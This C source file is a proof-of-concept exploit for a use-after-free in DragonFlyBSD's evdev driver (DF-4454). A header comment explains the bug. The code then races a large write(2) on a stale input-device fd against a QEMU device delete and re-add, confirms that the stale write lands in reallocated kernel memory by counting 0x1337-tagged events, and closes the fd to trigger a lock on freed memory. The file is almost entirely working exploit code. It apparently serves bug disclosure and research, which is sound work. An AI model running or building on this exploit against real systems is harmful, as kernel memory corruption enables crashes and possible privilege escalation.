/*
 * DF-4454 PoC: DragonFlyBSD evdev use-after-free across driver teardown.
 *
 * Bug: ukbd detach (USB unplug / device_del) -> evdev_free() ->
 *      evdev_unregister() + kfree(evdev) while client fds are open and a
 *      write(2) is in flight. evdev_write() (sys/dev/misc/evdev/cdev.c)
 *      caches `evdev = dev->si_drv1` once at entry and NEVER re-checks
 *      client->ec_revoked inside its event loop, so the loop keeps calling
 *      evdev_inject_event() on the freed evdev_dev for the whole buffer.
 *
 * Demo: after the free, re-attach a USB keyboard (QEMU device_add). The new
 * evdev_dev re-uses the freed block (same M_EVDEV size class). The stale
 * in-flight write then injects events INTO THE NEW DEVICE: a reader that
 * opened the *new* /dev/input/event4 observes KEY events carrying the magic
 * value 0x1337 that were written to the *deleted* device's fd. Nobody ever
 * wrote 0x1337 to the new fd: proof the stale fd wrote through a dangling
 * pointer into re-allocated kernel memory.
 *
 * usage: ./evdev_uaf <event-node> <megabytes>
 *   phase A: open stale fd, start writer thread (pairs of
 *            [KEY_Q down/up][SYN_REPORT 0x1337])
 *   phase B: HOST does  device_del kbd1 ; sleep 0.06 ; device_add ...
 *            (driven externally via the QEMU monitor)
 *   phase C: this program re-opens the node (new device), reads events,
 *            counts magic events, then closes the stale fd (dtor UAF lock
 *            on freed/reused memory).
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <time.h>

#include <dev/misc/evdev/input.h>

#define MAGIC   0x1337
#define KEY_Q   16

struct input_event32 {
	struct timeval t;
	uint16_t type;
	uint16_t code;
	int32_t value;
};

static int stale_fd = -1;
static volatile int writer_done = 0;
static long writer_bytes = 0;
static int writer_err = 0;

static void *writer(void *arg)
{
	size_t mb = (size_t)(uintptr_t)arg;
	struct input_event32 *buf;
	size_t n, bufsz;
	ssize_t r;

	bufsz = (mb * 1024 * 1024 / sizeof(struct input_event32)) *
	    sizeof(struct input_event32);
	buf = malloc(bufsz);
	n = bufsz / sizeof(*buf);

	for (size_t i = 0; i < n; i += 2) {
		/* down,report,up,report so sparse-event never skips */
		buf[i].type   = EV_KEY;  buf[i].code   = KEY_Q;
		buf[i].value  = (i / 2) % 2 == 0 ? 1 : 0;
		if (i + 1 < n) {
			buf[i+1].type = EV_SYN; buf[i+1].code = SYN_REPORT;
			buf[i+1].value = MAGIC;
		}
	}
	r = write(stale_fd, buf, bufsz);
	if (r < 0) {
		writer_err = errno;
		fprintf(stderr, "[writer] write failed: %s\n", strerror(errno));
	} else {
		writer_bytes = r;
		printf("[writer] write(%zu MB) returned %zd bytes\n",
		    mb, r);
	}
	free(buf);
	writer_done = 1;
	return NULL;
}

int main(int argc, char **argv)
{
	const char *node = argc > 1 ? argv[1] : "/dev/input/event4";
	int mb = argc > 2 ? atoi(argv[2]) : 8;
	pthread_t th;
	char evbuf[64 * 1024];
	int magic_hits = 0, total = 0;
	struct input_event32 *ev;
	int newfd, n, i;

	stale_fd = open(node, O_RDWR);
	if (stale_fd < 0) {
		perror("open stale");
		return 2;
	}
	printf("[+] stale fd %d open on %s\n", stale_fd, node);

	if (pthread_create(&th, NULL, writer, (void *)(uintptr_t)mb) != 0) {
		perror("pthread_create");
		return 2;
	}
	printf("[+] writer thread started (%d MB)\n", mb);
	printf("[.] host should now: device_del kbd1; sleep 0.06; device_add usb-kbd\n");

	/* wait for the writer to be mid-flight, then wait for host action */
	struct timespec ts = { 12, 0 };
	for (i = 0; i < 120 && !writer_done; i++)
		nanosleep(&ts, NULL);

	/* phase C: open the (re-created) node = the NEW device */
	newfd = open(node, O_RDWR | O_NONBLOCK);
	if (newfd < 0) {
		printf("[!] reopen %s failed: %s (device not re-added yet?)\n",
		    node, strerror(errno));
	} else {
		printf("[+] new fd %d open on re-created %s\n", newfd, node);
		/* drain events */
		for (i = 0; i < 40; i++) {
			n = read(newfd, evbuf, sizeof(evbuf));
			if (n < 0) {
				if (errno != EAGAIN)
					printf("[!] read: %s\n", strerror(errno));
				break;
			}
			for (int off = 0; off + sizeof(*ev) <= (size_t)n;
			     off += sizeof(*ev)) {
				ev = (struct input_event32 *)(evbuf + off);
				total++;
				if (ev->value == MAGIC) {
					magic_hits++;
					if (magic_hits <= 5)
						printf("[MAGIC] type=%u code=%u "
						    "value=0x%x\n",
						    ev->type, ev->code,
						    (unsigned)ev->value);
				}
			}
			ts.tv_sec = 0; ts.tv_nsec = 100 * 1000 * 1000;
			nanosleep(&ts, NULL);
		}
		close(newfd);
	}

	printf("[.] waiting for writer to finish...\n");
	pthread_join(th, NULL);
	printf("[.] closing stale fd %d (evdev_dtor -> EVDEV_LOCK on "
	    "freed/reused evdev)\n", stale_fd);
	close(stale_fd);
	stale_fd = -1;

	printf("%s: total_events=%d magic_hits=%d writer_bytes=%ld "
	    "writer_err=%d\n",
	    magic_hits > 0 ? "UAF-CONFIRMED" : "UAF-NOT-CONFIRMED",
	    total, magic_hits, writer_bytes, writer_err);
	return magic_hits > 0 ? 42 : 1;
}
